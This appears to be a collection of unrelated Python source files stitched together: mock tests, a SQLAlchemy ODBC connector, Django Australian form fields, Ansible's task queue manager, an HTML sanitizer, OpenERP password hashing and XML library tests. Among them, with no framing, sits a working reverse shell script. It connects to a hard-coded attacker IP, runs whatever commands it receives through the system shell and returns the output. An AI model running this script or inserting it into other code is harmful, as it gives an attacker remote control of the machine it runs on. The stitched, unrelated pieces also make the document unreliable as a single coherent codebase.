self.assertEqual(something_else, mock_something_else,
                                 "unpatched")

        self.assertEqual(something, sentinel.Something)
        self.assertEqual(something_else, sentinel.SomethingElse)


    def test_dict_context_manager(self):
        foo = {}
        with patch.dict(foo, {'a': 'b'}):
            self.assertEqual(foo, {'a': 'b'})
        self.assertEqual(foo, {})

        with self.assertRaises(NameError):
            with patch.dict(foo, {'a': 'b'}):
                self.assertEqual(foo, {'a': 'b'})
                raise NameError('Konrad')

        self.assertEqual(foo, {})



class TestMockOpen(unittest.TestCase):

    def test_mock_open(self):
        mock = mock_open()
        with patch('%s.open' % __name__, mock, create=True) as patched:
            self.assertIs(patched, mock)
            open('foo')

        mock.assert_called_once_with('foo')


    def test_mock_open_context_manager(self):
        mock = mock_open()
        handle = mock.return_value
        with patch('%s.open' % __name__, mock, create=True):
            with open('foo') as f:
                f.read()

        expected_calls = [call('foo'), call().__enter__(), call().read(),
                          call().__exit__(None, None, None)]
        self.assertEqual(mock.mock_calls, expected_calls)
        self.assertIs(f, handle)


    def test_explicit_mock(self):
        mock = MagicMock()
        mock_open(mock)

        with patch('%s.open' % __name__, mock, create=True) as patched:
            self.assertIs(patched, mock)
            open('foo')

        mock.assert_called_once_with('foo')


    def test_read_data(self):
        mock = mock_open(read_data='foo')
        with patch('%s.open' % __name__, mock, create=True):
            h = open('bar')
            result = h.read()

        self.assertEqual(result, 'foo')


if __name__ == '__main__':
    unittest.main()

# connectors/pyodbc.py
# Copyright (C) 2005-2012 the SQLAlchemy authors and contributors <see AUTHORS file>
#
# This module is part of SQLAlchemy and is released under
# the MIT License: http://www.opensource.org/licenses/mit-license.php

from . import Connector
from ..util import asbool

import sys
import re
import urllib


class PyODBCConnector(Connector):
    driver = 'pyodbc'

    supports_sane_multi_rowcount = False
    # PyODBC unicode is broken on UCS-4 builds
    supports_unicode = sys.maxunicode == 65535
    supports_unicode_statements = supports_unicode
    supports_native_decimal = True
    default_paramstyle = 'named'

    # for non-DSN connections, this should
    # hold the desired driver name
    pyodbc_driver_name = None

    # will be set to True after initialize()
    # if the freetds.so is detected
    freetds = False

    # will be set to the string version of
    # the FreeTDS driver if freetds is detected
    freetds_driver_version = None

    # will be set to True after initialize()
    # if the libessqlsrv.so is detected
    easysoft = False

    def __init__(self, supports_unicode_binds=None, **kw):
        super(PyODBCConnector, self).__init__(**kw)
        self._user_supports_unicode_binds = supports_unicode_binds

    @classmethod
    def dbapi(cls):
        return __import__('pyodbc')

    def create_connect_args(self, url):
        opts = url.translate_connect_args(username='user')
        opts.update(url.query)

        keys = opts
        query = url.query

        connect_args = {}
        for param in ('ansi', 'unicode_results', 'autocommit'):
            if param in keys:
                connect_args[param] = asbool(keys.pop(param))

        if 'odbc_connect' in keys:
            connectors = [urllib.unquote_plus(keys.pop('odbc_connect'))]
        else:
            dsn_connection = 'dsn' in keys or \
                            ('host' in keys and 'database' not in keys)
            if dsn_connection:
                connectors = ['dsn=%s' % (keys.pop('host', '') or \
                            keys.pop('dsn', ''))]
            else:
                port = ''
                if 'port' in keys and not 'port' in query:
                    port = ',%d' % int(keys.pop('port'))

                connectors = ["DRIVER={%s}" %
                                keys.pop('driver', self.pyodbc_driver_name),
                              'Server=%s%s' % (keys.pop('host', ''), port),
                              'Database=%s' % keys.pop('database', '')]

            user = keys.pop("user", None)
            if user:
                connectors.append("UID=%s" % user)
                connectors.append("PWD=%s" % keys.pop('password', ''))
            else:
                connectors.append("Trusted_Connection=Yes")

            # if set to 'Yes', the ODBC layer will try to automagically
            # convert textual data from your database encoding to your
            # client encoding.  This should obviously be set to 'No' if
            # you query a cp1253 encoded database from a latin1 client...
            if 'odbc_autotranslate' in keys:
                connectors.append("AutoTranslate=%s" %
                                    keys.pop("odbc_autotranslate"))

            connectors.extend(['%s=%s' % (k, v) for k, v in keys.iteritems()])
        return [[";".join(connectors)], connect_args]

    def is_disconnect(self, e, connection, cursor):
        if isinstance(e, self.dbapi.ProgrammingError):
            return "The cursor's connection has been closed." in str(e) or \
                            'Attempt to use a closed connection.' in str(e)
        elif isinstance(e, self.dbapi.Error):
            return '[08S01]' in str(e)
        else:
            return False

    def initialize(self, connection):
        # determine FreeTDS first.   can't issue SQL easily
        # without getting unicode_statements/binds set up.

        pyodbc = self.dbapi

        dbapi_con = connection.connection

        _sql_driver_name = dbapi_con.getinfo(pyodbc.SQL_DRIVER_NAME)
        self.freetds = bool(re.match(r".*libtdsodbc.*\.so", _sql_driver_name
                            ))
        self.easysoft = bool(re.match(r".*libessqlsrv.*\.so", _sql_driver_name
                            ))

        if self.freetds:
            self.freetds_driver_version = dbapi_con.getinfo(
                pyodbc.SQL_DRIVER_VER)

        # the "Py2K only" part here is theoretical.
        # have not tried pyodbc + python3.1 yet.
        # Py2K
        self.supports_unicode_statements = (
            not self.freetds and not self.easysoft)
        if self._user_supports_unicode_binds is not None:
            self.supports_unicode_binds = self._user_supports_unicode_binds
        else:
            self.supports_unicode_binds = (
                not self.freetds or self.freetds_driver_version >= '0.91'
            ) and not self.easysoft
        # end Py2K

        # run other initialization which asks for user name, etc.
        super(PyODBCConnector, self).initialize(connection)

    def _dbapi_version(self):
        if not self.dbapi:
            return ()
        return self._parse_dbapi_version(self.dbapi.version)

    def _parse_dbapi_version(self, vers):
        m = re.match(
                r'(?:py.*-)?([\d\.]+)(?:-(\w+))?',
                vers
            )
        if not m:
            return ()
        vers = tuple([int(x) for x in m.group(1).split(".")])
        if m.group(2):
            vers += (m.group(2),)
        return vers

    def _get_server_version_info(self, connection):
        dbapi_con = connection.connection
        version = []
        r = re.compile('[.\-]')
        for n in r.split(dbapi_con.getinfo(self.dbapi.SQL_DBMS_VER)):
            try:
                version.append(int(n))
            except ValueError:
                version.append(n)
        return tuple(version)

"""Australian-specific Form helpers."""

from __future__ import unicode_literals

import re

from django.forms import ValidationError
from django.forms.fields import CharField, RegexField, Select
from django.utils.encoding import force_text
from django.utils.translation import ugettext_lazy as _

from localflavor.compat import EmptyValueCompatMixin
from localflavor.deprecation import DeprecatedPhoneNumberFormFieldMixin

from .au_states import STATE_CHOICES
from .validators import AUBusinessNumberFieldValidator, AUCompanyNumberFieldValidator, AUTaxFileNumberFieldValidator

PHONE_DIGITS_RE = re.compile(r'^(\d{10})$')


class AUPostCodeField(RegexField):
    """
    Australian post code field.

    Assumed to be 4 digits.
    Northern Territory 3-digit postcodes should have leading zero.
    """

    default_error_messages = {
        'invalid': _('Enter a 4 digit postcode.'),
    }

    def __init__(self, max_length=4, min_length=None, *args, **kwargs):
        super(AUPostCodeField, self).__init__(r'^\d{4}$',
                                              max_length, min_length, *args, **kwargs)


class AUPhoneNumberField(EmptyValueCompatMixin, CharField, DeprecatedPhoneNumberFormFieldMixin):
    """
    A form field that validates input as an Australian phone number.

    Valid numbers have ten digits.
    """

    default_error_messages = {
        'invalid': 'Phone numbers must contain 10 digits.',
    }

    def clean(self, value):
        """Validate a phone number. Strips parentheses, whitespace and hyphens."""
        super(AUPhoneNumberField, self).clean(value)
        if value in self.empty_values:
            return self.empty_value
        value = re.sub('(\(|\)|\s+|-)', '', force_text(value))
        phone_match = PHONE_DIGITS_RE.search(value)
        if phone_match:
            return '%s' % phone_match.group(1)
        raise ValidationError(self.error_messages['invalid'])


class AUStateSelect(Select):
    """A Select widget that uses a list of Australian states/territories as its choices."""

    def __init__(self, attrs=None):
        super(AUStateSelect, self).__init__(attrs, choices=STATE_CHOICES)


class AUBusinessNumberField(EmptyValueCompatMixin, CharField):
    """
    A form field that validates input as an Australian Business Number (ABN).

    .. versionadded:: 1.3
    .. versionchanged:: 1.4
    """

    default_validators = [AUBusinessNumberFieldValidator()]

    def to_python(self, value):
        value = super(AUBusinessNumberField, self).to_python(value)
        if value in self.empty_values:
            return self.empty_value
        return value.upper().replace(' ', '')

    def prepare_value(self, value):
        """Format the value for display."""
        if value is None:
            return value

        spaceless = ''.join(value.split())
        return '{} {} {} {}'.format(spaceless[:2], spaceless[2:5], spaceless[5:8], spaceless[8:])


class AUCompanyNumberField(EmptyValueCompatMixin, CharField):
    """
    A form field that validates input as an Australian Company Number (ACN).

    .. versionadded:: 1.5
    """

    default_validators = [AUCompanyNumberFieldValidator()]

    def to_python(self, value):
        value = super(AUCompanyNumberField, self).to_python(value)
        if value in self.empty_values:
            return self.empty_value
        return value.upper().replace(' ', '')

    def prepare_value(self, value):
        """Format the value for display."""
        if value is None:
            return value

        spaceless = ''.join(value.split())
        return '{} {} {}'.format(spaceless[:3], spaceless[3:6], spaceless[6:])


class AUTaxFileNumberField(CharField):
    """
    A form field that validates input as an Australian Tax File Number (TFN).

    .. versionadded:: 1.4
    """

    default_validators = [AUTaxFileNumberFieldValidator()]

    def prepare_value(self, value):
        """Format the value for display."""
        if value is None:
            return value

        spaceless = ''.join(value.split())
        return '{} {} {}'.format(spaceless[:3], spaceless[3:6], spaceless[6:])

# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from multiprocessing.managers import SyncManager, DictProxy
import multiprocessing
import os
import tempfile

from ansible import constants as C
from ansible.errors import AnsibleError
from ansible.executor.play_iterator import PlayIterator
from ansible.executor.process.worker import WorkerProcess
from ansible.executor.process.result import ResultProcess
from ansible.executor.stats import AggregateStats
from ansible.playbook.play_context import PlayContext
from ansible.plugins import callback_loader, strategy_loader, module_loader
from ansible.template import Templar
from ansible.vars.hostvars import HostVars

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

__all__ = ['TaskQueueManager']


class TaskQueueManager:

    '''
    This class handles the multiprocessing requirements of Ansible by
    creating a pool of worker forks, a result handler fork, and a
    manager object with shared datastructures/queues for coordinating
    work between all processes.

    The queue manager is responsible for loading the play strategy plugin,
    which dispatches the Play's tasks to hosts.
    '''

    def __init__(self, inventory, variable_manager, loader, options, passwords, stdout_callback=None):

        self._inventory        = inventory
        self._variable_manager = variable_manager
        self._loader           = loader
        self._options          = options
        self._stats            = AggregateStats()
        self.passwords         = passwords
        self._stdout_callback  = stdout_callback

        self._callbacks_loaded = False
        self._callback_plugins = []
        self._start_at_done    = False
        self._result_prc       = None

        # make sure the module path (if specified) is parsed and
        # added to the module_loader object
        if options.module_path is not None:
            for path in options.module_path.split(os.pathsep):
                module_loader.add_directory(path)

        # a special flag to help us exit cleanly
        self._terminated = False

        # this dictionary is used to keep track of notified handlers
        self._notified_handlers = dict()

        # dictionaries to keep track of failed/unreachable hosts
        self._failed_hosts      = dict()
        self._unreachable_hosts = dict()

        self._final_q = multiprocessing.Queue()

        # A temporary file (opened pre-fork) used by connection
        # plugins for inter-process locking.
        self._connection_lockfile = tempfile.TemporaryFile()

    def _initialize_processes(self, num):
        self._workers = []

        for i in xrange(num):
            main_q = multiprocessing.Queue()
            rslt_q = multiprocessing.Queue()

            prc = WorkerProcess(self, main_q, rslt_q, self._hostvars_manager, self._loader)
            prc.start()

            self._workers.append((prc, main_q, rslt_q))

        self._result_prc = ResultProcess(self._final_q, self._workers)
        self._result_prc.start()

    def _initialize_notified_handlers(self, handlers):
        '''
        Clears and initializes the shared notified handlers dict with entries
        for each handler in the play, which is an empty array that will contain
        inventory hostnames for those hosts triggering the handler.
        '''

        # Zero the dictionary first by removing any entries there.
        # Proxied dicts don't support iteritems, so we have to use keys()
        for key in self._notified_handlers.keys():
            del self._notified_handlers[key]

        # FIXME: there is a block compile helper for this...
        handler_list = []
        for handler_block in handlers:
            for handler in handler_block.block:
                handler_list.append(handler)

        # then initialize it with the handler names from the handler list
        for handler in handler_list:
            self._notified_handlers[handler.get_name()] = []

    def load_callbacks(self):
        '''
        Loads all available callbacks, with the exception of those which
        utilize the CALLBACK_TYPE option. When CALLBACK_TYPE is set to 'stdout',
        only one such callback plugin will be loaded.
        '''

        if self._callbacks_loaded:
            return

        stdout_callback_loaded = False
        if self._stdout_callback is None:
            self._stdout_callback = C.DEFAULT_STDOUT_CALLBACK

        if self._stdout_callback not in callback_loader:
            raise AnsibleError("Invalid callback for stdout specified: %s" % self._stdout_callback)

        for callback_plugin in callback_loader.all(class_only=True):
            if hasattr(callback_plugin, 'CALLBACK_VERSION') and callback_plugin.CALLBACK_VERSION >= 2.0:
                # we only allow one callback of type 'stdout' to be loaded, so check
                # the name of the current plugin and type to see if we need to skip
                # loading this callback plugin
                callback_type = getattr(callback_plugin, 'CALLBACK_TYPE', None)
                callback_needs_whitelist  = getattr(callback_plugin, 'CALLBACK_NEEDS_WHITELIST', False)
                (callback_name, _) = os.path.splitext(os.path.basename(callback_plugin._original_path))
                if callback_type == 'stdout':
                    if callback_name != self._stdout_callback or stdout_callback_loaded:
                        continue
                    stdout_callback_loaded = True
                elif callback_needs_whitelist and (C.DEFAULT_CALLBACK_WHITELIST is None or callback_name not in C.DEFAULT_CALLBACK_WHITELIST):
                    continue

            self._callback_plugins.append(callback_plugin())

        self._callbacks_loaded = True

    def run(self, play):
        '''
        Iterates over the roles/tasks in a play, using the given (or default)
        strategy for queueing tasks. The default is the linear strategy, which
        operates like classic Ansible by keeping all hosts in lock-step with
        a given task (meaning no hosts move on to the next task until all hosts
        are done with the current task).
        '''

        if not self._callbacks_loaded:
            self.load_callbacks()

        all_vars = self._variable_manager.get_vars(loader=self._loader, play=play)
        templar = Templar(loader=self._loader, variables=all_vars)

        new_play = play.copy()
        new_play.post_validate(templar)

        class HostVarsManager(SyncManager):
            pass

        hostvars = HostVars(
            play=new_play,
            inventory=self._inventory,
            variable_manager=self._variable_manager,
            loader=self._loader,
        )

        HostVarsManager.register(
            'hostvars',
            callable=lambda: hostvars,
            # FIXME: this is the list of exposed methods to the DictProxy object, plus our
            #        special ones (set_variable_manager/set_inventory). There's probably a better way
            #        to do this with a proper BaseProxy/DictProxy derivative
            exposed=(
                'set_variable_manager', 'set_inventory', '__contains__', '__delitem__',
                '__getitem__', '__len__', '__setitem__', 'clear', 'copy', 'get', 'has_key',
                'items', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values'
            ),
        )
        self._hostvars_manager = HostVarsManager()
        self._hostvars_manager.start()

        # Fork # of forks, # of hosts or serial, whichever is lowest
        contenders =  [self._options.forks, play.serial, len(self._inventory.get_hosts(new_play.hosts))]
        contenders =  [ v for v in contenders if v is not None and v > 0 ]
        self._initialize_processes(min(contenders))

        play_context = PlayContext(new_play, self._options, self.passwords, self._connection_lockfile.fileno())
        for callback_plugin in self._callback_plugins:
            if hasattr(callback_plugin, 'set_play_context'):
                callback_plugin.set_play_context(play_context)

        self.send_callback('v2_playbook_on_play_start', new_play)

        # initialize the shared dictionary containing the notified handlers
        self._initialize_notified_handlers(new_play.handlers)

        # load the specified strategy (or the default linear one)
        strategy = strategy_loader.get(new_play.strategy, self)
        if strategy is None:
            raise AnsibleError("Invalid play strategy specified: %s" % new_play.strategy, obj=play._ds)

        # build the iterator
        iterator = PlayIterator(
            inventory=self._inventory,
            play=new_play,
            play_context=play_context,
            variable_manager=self._variable_manager,
            all_vars=all_vars,
            start_at_done = self._start_at_done,
        )

        # during initialization, the PlayContext will clear the start_at_task
        # field to signal that a matching task was found, so check that here
        # and remember it so we don't try to skip tasks on future plays
        if getattr(self._options, 'start_at_task', None) is not None and play_context.start_at_task is None:
            self._start_at_done = True

        # and run the play using the strategy and cleanup on way out
        play_return = strategy.run(iterator, play_context)
        self._cleanup_processes()
        self._hostvars_manager.shutdown()
        return play_return

    def cleanup(self):
        display.debug("RUNNING CLEANUP")
        self.terminate()
        self._final_q.close()
        self._cleanup_processes()

    def _cleanup_processes(self):
        if self._result_prc:
            self._result_prc.terminate()

            for (worker_prc, main_q, rslt_q) in self._workers:
                rslt_q.close()
                main_q.close()
                worker_prc.terminate()

    def clear_failed_hosts(self):
        self._failed_hosts = dict()

    def get_inventory(self):
        return self._inventory

    def get_variable_manager(self):
        return self._variable_manager

    def get_loader(self):
        return self._loader

    def get_notified_handlers(self):
        return self._notified_handlers

    def get_workers(self):
        return self._workers[:]

    def terminate(self):
        self._terminated = True

    def send_callback(self, method_name, *args, **kwargs):
        for callback_plugin in self._callback_plugins:
            # a plugin that set self.disabled to True will not be called
            # see osx_say.py example for such a plugin
            if getattr(callback_plugin, 'disabled', False):
                continue
            methods = [
                getattr(callback_plugin, method_name, None),
                getattr(callback_plugin, 'v2_on_any', None)
            ]
            for method in methods:
                if method is not None:
                    try:
                        method(*args, **kwargs)
                    except Exception as e:
                        try:
                            v1_method = method.replace('v2_','')
                            v1_method(*args, **kwargs)
                        except Exception:
                            display.warning('Error when using %s: %s' % (method, str(e)))

import socket                                               # For starting TCP connection
import subprocess                                           # To start the shell in the system

# Attacker IP goes here
ATT_IP = "10.254.141.59"

def connect():
    # Creating object soketi
    soketi = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # attackers ( kali system ) IP address and port.
    soketi.connect((ATT_IP, 8080))

    while True:                                             # Waiting for commands

        # read the first 1024 KB of the tcp socket
        komandi = soketi.recv(1024)
        if 'terminate' in komandi:                          # Terminate - Break
            soketi.close()
            break

        else:                                               # else pass command to shell.

            CMD = subprocess.Popen(komandi, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            
            soketi.send(CMD.stdout.read())                  # send back the result

            # send back the error -if any-, such as syntax error
            soketi.send(CMD.stderr.read())


if __name__ == "__main__":
    connect()

"""Classes to build sanitized HTML."""

__author__ = 'John Orr (jorr@google.com)'

import cgi
import re


def escape(strg):
    return cgi.escape(strg, quote=1).replace("'", '&#39;').replace('`', '&#96;')


class SafeDom(object):
    """Base class for the sanitizing module."""

    def __init__(self):
        self._parent = None

    def _set_parent(self, parent):
        assert self != parent
        self._parent = parent

    @property
    def parent(self):
        return self._parent

    @property
    def sanitized(self):
        raise NotImplementedError()

    def __str__(self):
        return self.sanitized


class Node(SafeDom):
    """Represents a single node in the DOM."""


# pylint: disable=incomplete-protocol
class NodeList(SafeDom):
    """Holds a list of Nodes and can bulk sanitize them."""

    def __init__(self):
        self.list = []
        super(NodeList, self).__init__()

    def __len__(self):
        return len(self.list)

    def append(self, node):
        assert node is not None, 'Cannot add an empty value to the node list'
        self.list.append(node)
        node._set_parent(self)  # pylint: disable=protected-access
        return self

    @property
    def children(self):
        return [] + self.list

    def empty(self):
        self.list = []
        return self

    def delete(self, node):
        _list = []
        for child in self.list:
            if child != node:
                _list.append(child)
        self.list = _list

    def insert(self, index, node):
        assert node is not None, 'Cannot add an empty value to the node list'
        self.list.insert(index, node)
        node._set_parent(self)  # pylint: disable=protected-access
        return self

    @property
    def sanitized(self):
        sanitized_list = []
        for node in self.list:
            sanitized_list.append(node.sanitized)
        return ''.join(sanitized_list)


class Text(Node):
    """Holds untrusted text which will be sanitized when accessed."""

    def __init__(self, unsafe_string):
        super(Text, self).__init__()
        self._value = unicode(unsafe_string)

    @property
    def sanitized(self):
        return escape(self._value)


class Comment(Node):
    """An HTML comment."""

    def __init__(self, unsafe_string=''):
        super(Comment, self).__init__()
        self._value = unicode(unsafe_string)

    def get_value(self):
        return self._value

    @property
    def sanitized(self):
        return '<!--%s-->' % escape(self._value)

    def add_attribute(self, **attr):
        pass

    def add_text(self, unsafe_string):
        self._value += unicode(unsafe_string)


class Element(Node):
    """Embodies an HTML element which will be sanitized when accessed."""

    _ALLOWED_NAME_PATTERN = re.compile(r'^[a-zA-Z][_\-a-zA-Z0-9]*$')

    _VOID_ELEMENTS = frozenset([
        'area', 'base', 'br', 'col', 'embed', 'hr', 'img', 'input', 'keygen',
        'link', 'menuitem', 'meta', 'param', 'source', 'track', 'wbr'])

    def __init__(self, tag_name, **attr):
        """Initializes an element with given tag name and attributes.

        Tag name will be restricted to alpha chars, attribute names
        will be quote-escaped.

        Args:
            tag_name: the name of the element, which must match
                _ALLOWED_NAME_PATTERN.
            **attr: the names and value of the attributes. Names must match
                _ALLOWED_NAME_PATTERN and values will be quote-escaped.
        """
        assert Element._ALLOWED_NAME_PATTERN.match(tag_name), (
            'tag name %s is not allowed' % tag_name)
        for attr_name in attr:
            assert Element._ALLOWED_NAME_PATTERN.match(attr_name), (
                'attribute name %s is not allowed' % attr_name)
        super(Element, self).__init__()
        self._tag_name = tag_name
        self._children = []
        self._attr = {}
        for _name, _value in attr.items():
            self._attr[_name.lower()] = _value

    def has_attribute(self, name):
        return name.lower() in self._attr

    @property
    def attributes(self):
        return self._attr.keys()

    def set_attribute(self, name, value):
        self._attr[name.lower()] = value
        return self

    def get_escaped_attribute(self, name):
        return escape(self._attr[name.lower()])

    def add_attribute(self, **attr):
        for attr_name, value in attr.items():
            assert Element._ALLOWED_NAME_PATTERN.match(attr_name), (
                'attribute name %s is not allowed' % attr_name)
            self._attr[attr_name.lower()] = value
        return self

    def add_child(self, node):
        node._set_parent(self)  # pylint: disable=protected-access
        self._children.append(node)
        return self

    def append(self, node):
        return self.add_child(node)

    def add_children(self, node_list):
        for child in node_list.list:
            self.add_child(child)
        return self

    def empty(self):
        self._children = []
        return self

    def add_text(self, text):
        return self.add_child(Text(text))

    def can_have_children(self):
        return True

    @property
    def children(self):
        return [] + self._children

    @property
    def tag_name(self):
        return self._tag_name

    @property
    def sanitized(self):
        """Santize the element and its descendants."""
        assert Element._ALLOWED_NAME_PATTERN.match(self._tag_name), (
            'tag name %s is not allowed' % self._tag_name)
        buff = '<' + self._tag_name
        for attr_name, value in sorted(self._attr.items()):
            if attr_name == 'classname':
                attr_name = 'class'
            elif attr_name.startswith('data_'):
                attr_name = attr_name.replace('_', '-')
            if value is None:
                value = ''
            buff += ' %s="%s"' % (
                attr_name, escape(value))

        if self._children:
            buff += '>'
            for child in self._children:
                buff += child.sanitized
            buff += '</%s>' % self._tag_name
        elif self._tag_name.lower() in Element._VOID_ELEMENTS:
            buff += '/>'
        else:
            buff += '></%s>' % self._tag_name

        return buff


class A(Element):
    """Embodies an 'a' tag.  Just a conveniece wrapper on Element."""

    def __init__(self, href, **attr):
        """Initialize an 'a' tag to a given target.

        Args:
            href: The value to put in the 'href' tag of the 'a' element.
            **attr: the names and value of the attributes. Names must match
                _ALLOWED_NAME_PATTERN and values will be quote-escaped.
        """

        super(A, self).__init__('a', **attr)
        self.add_attribute(href=href)


class ScriptElement(Element):
    """Represents an HTML <script> element."""

    def __init__(self, **attr):
        super(ScriptElement, self).__init__('script', **attr)

    def can_have_children(self):
        return False

    def add_child(self, unused_node):
        raise ValueError()

    def add_children(self, unused_nodes):
        raise ValueError()

    def empty(self):
        raise ValueError()

    def add_text(self, text):
        """Add the script body."""

        class Script(Text):

            def __init__(self, script):
                # Pylint is just plain wrong about warning here; suppressing.
                # pylint: disable=bad-super-call
                super(Script, self).__init__(None)
                self._script = script

            @property
            def sanitized(self):
                if '</script>' in self._script:
                    raise ValueError('End script tag forbidden')
                return self._script

        self._children.append(Script(text))


class Entity(Node):
    """Holds an XML entity."""

    ENTITY_PATTERN = re.compile('^&([a-zA-Z]+|#[0-9]+|#x[0-9a-fA-F]+);$')

    def __init__(self, entity):
        assert Entity.ENTITY_PATTERN.match(entity)
        super(Entity, self).__init__()
        self._entity = entity

    @property
    def sanitized(self):
        assert Entity.ENTITY_PATTERN.match(self._entity)
        return self._entity


def assemble_text_message(text, link):
    node_list = NodeList()
    if text:
        node_list.append(Text(text))
        node_list.append(Entity('&nbsp;'))
    if link:
        node_list.append(Element(
            'a', href=link, target='_blank').add_text('Learn more...'))
    return node_list


class Template(Node):
    """Enables a Jinja template to be included in a safe_dom.NodeList."""

    def __init__(self, template, **kwargs):
        self.template = template
        self.kwargs = kwargs
        super(Template, self).__init__()

    @property
    def sanitized(self):
        return self.template.render(**self.kwargs)

import logging

from passlib.context import CryptContext

import openerp
from openerp.osv import fields, osv

from openerp.addons.base.res import res_users
res_users.USER_PRIVATE_FIELDS.append('password_crypt')

_logger = logging.getLogger(__name__)

default_crypt_context = CryptContext(
    # kdf which can be verified by the context. The default encryption kdf is
    # the first of the list
    ['pbkdf2_sha512', 'md5_crypt'],
    # deprecated algorithms are still verified as usual, but ``needs_update``
    # will indicate that the stored hash should be replaced by a more recent
    # algorithm. Passlib 1.6 supports an `auto` value which deprecates any
    # algorithm but the default, but Debian only provides 1.5 so...
    deprecated=['md5_crypt'],
)

class res_users(osv.osv):
    _inherit = "res.users"

    def init(self, cr):
        _logger.info("Hashing passwords, may be slow for databases with many users...")
        cr.execute("SELECT id, password FROM res_users"
                   " WHERE password IS NOT NULL"
                   "   AND password != ''")
        for uid, pwd in cr.fetchall():
            self._set_password(cr, openerp.SUPERUSER_ID, uid, pwd)

    def set_pw(self, cr, uid, id, name, value, args, context):
        if value:
            self._set_password(cr, uid, id, value, context=context)
            self.invalidate_cache(cr, uid, context=context)

    def get_pw( self, cr, uid, ids, name, args, context ):
        cr.execute('select id, password from res_users where id in %s', (tuple(map(int, ids)),))
        return dict(cr.fetchall())

    _columns = {
        'password': fields.function(get_pw, fnct_inv=set_pw, type='char', string='Password', invisible=True, store=True),
        'password_crypt': fields.char(string='Encrypted Password', invisible=True, copy=False),
    }

    def check_credentials(self, cr, uid, password):
        # convert to base_crypt if needed
        cr.execute('SELECT password, password_crypt FROM res_users WHERE id=%s AND active', (uid,))
        encrypted = None
        if cr.rowcount:
            stored, encrypted = cr.fetchone()
            if stored and not encrypted:
                self._set_password(cr, uid, uid, stored)
                self.invalidate_cache(cr, uid)
        try:
            return super(res_users, self).check_credentials(cr, uid, password)
        except openerp.exceptions.AccessDenied:
            if encrypted:
                valid_pass, replacement = self._crypt_context(cr, uid, uid)\
                        .verify_and_update(password, encrypted)
                if replacement is not None:
                    self._set_encrypted_password(cr, uid, uid, replacement)
                if valid_pass:
                    return

            raise

    def _set_password(self, cr, uid, id, password, context=None):
        """ Encrypts then stores the provided plaintext password for the user
        ``id``
        """
        encrypted = self._crypt_context(cr, uid, id, context=context).encrypt(password)
        self._set_encrypted_password(cr, uid, id, encrypted, context=context)

    def _set_encrypted_password(self, cr, uid, id, encrypted, context=None):
        """ Store the provided encrypted password to the database, and clears
        any plaintext password

        :param uid: id of the current user
        :param id: id of the user on which the password should be set
        """
        cr.execute(
            "UPDATE res_users SET password='', password_crypt=%s WHERE id=%s",
            (encrypted, id))

    def _crypt_context(self, cr, uid, id, context=None):
        """ Passlib CryptContext instance used to encrypt and verify
        passwords. Can be overridden if technical, legal or political matters
        require different kdfs than the provided default.

        Requires a CryptContext as deprecation and upgrade notices are used
        internally
        """
        return default_crypt_context


# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:

#
# Copyright (c) SAS Institute Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#


import os
import shutil
import StringIO
import tempfile


from lxml import etree

import rpath_xmllib as xmllib
# This is an unused import, but it should make the test suite depend on api1
from rpath_xmllib import api1 as xmllib1  # pyflakes=ignore

from testrunner import testhelp

class BaseTest(testhelp.TestCase):
    pass

class DataBindingNodeTest(BaseTest):
    def testSerializableNodeInterface(self):
        node = xmllib.SerializableObject()
        self.failUnlessRaises(NotImplementedError, node._getName)
        self.failUnlessRaises(NotImplementedError, node._getLocalNamespaces)
        self.failUnlessRaises(NotImplementedError, node._iterAttributes)
        self.failUnlessRaises(NotImplementedError, node._iterChildren)
        self.failUnlessRaises(NotImplementedError, node.getElementTree)

    def testGetApiVersion(self):
        self.failUnlessEqual(xmllib.VERSION, '0.1')

    def testIterAttributes(self):
        refAttrs = {'xmlns' : 'a', 'xmlns:ns' : 'b',
                    'ns:attr1' : 'val1', 'attr2' : 'val2'}
        node = xmllib.BaseNode(refAttrs)
        attrs = dict(x for x in node.iterAttributes())
        self.failUnlessEqual(attrs, refAttrs)

        node.setName('ns:foo')
        binder = xmllib.DataBinder()
        self.assertXMLEquals(binder.toXml(node, prettyPrint = False),
            '<ns:foo xmlns="a" xmlns:ns="b" attr2="val2" ns:attr1="val1"/>')

    def testGetChildren(self):
        binder = xmllib.DataBinder()
        rootNode = binder.parseFile(StringIO.StringIO("""
<nsB:root xmlns="def" xmlns:nsA="a" xmlns:nsB="b">
  <nsA:child>childA</nsA:child>
  <nsB:child>childB</nsB:child>
  <child>childDef</child>
</nsB:root>
"""))
        self.failUnlessEqual([ x.getText()
            for x in rootNode.getChildren('child', 'nsA')], ['childA'])
        self.failUnlessEqual([ x.getText()
            for x in rootNode.getChildren('child', 'nsB')], ['childB'])
        self.failUnlessEqual([ x.getText()
            for x in rootNode.getChildren('child')], ['childDef'])


    def testGetAttribute(self):
        # We are redefining namespace nsC, which is not supported
        refAttrs = {'xmlns' : 'a', 'xmlns:nsB' : 'b', 'xmlns:nsC' : 'b',
                    'attr' : 'val1', 'nsB:attr' : 'val2', 'nsC:attr' : 'val3'}
        node = xmllib.BaseNode(refAttrs, name = 'root')
        self.failUnlessEqual(node.getAttribute('attr'), 'val1')
        self.failUnlessEqual(node.getAttribute('attr', 'nsB'), 'val2')
        self.failUnlessEqual(node.getAttribute('attr', 'nsC'), 'val3')
